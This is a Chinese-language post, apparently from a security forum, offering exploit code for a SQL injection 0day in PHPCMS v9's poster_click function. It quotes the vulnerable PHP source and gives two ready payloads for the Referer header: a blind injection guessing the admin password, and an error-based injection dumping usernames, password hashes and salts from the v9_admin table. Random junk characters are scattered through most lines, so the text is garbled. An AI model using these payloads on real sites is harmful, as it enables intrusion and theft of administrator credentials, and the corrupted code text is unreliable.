phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

4 z  j1 B) x$ R) t( t+ }. i问题函数\phpcms\modules\poster\index.php
1 v/ \3 F( l9 ~; b/ {7 Y0 `
public function poster_click() {
! k2 M4 r$ j- `$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
& J% A( o. ^$ s4 h6 M1 @; cif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
+ E/ b" q; d+ M: p$ip = ip();
$area = $ip_area->get($ip);
/ e( ?' Y% E, q- P$username = param::get_cookie('username') ? param::get_cookie('username') : '';
3 M$ y" c& a5 c/ ?5 f$ ^9 F" J; pif($id) {
. g7 L$ G2 q  M2 l* k$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
( s+ V& m" w( x4 s$url = $setting['1']['linkurl'];
} else {
6 O' U1 K$ s0 A2 C" t6 H$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
0 o  j$ r  Y: Nheader('Location: '.$url);
}


3 {" x  Z+ X7 o# S( \, H
利用方式：

' d9 r1 h. E) o6 z1、可以采用盲注入的手法：
6 B' a8 `1 u1 p0 g. x9 P5 g1 ^
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
  i# e; A' r' m+ s9 I
通过返回页面，正常与否一个个猜解密码字段。
( h4 d% O; i* `9 v
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
3 v2 }. f& A( |8 _6 {9 a: K0 N
/ ~7 m5 _% T# L; y2 G此方法是爆错注入手法，原理自查。
5 N+ `. U$ W$ z+ N+ \
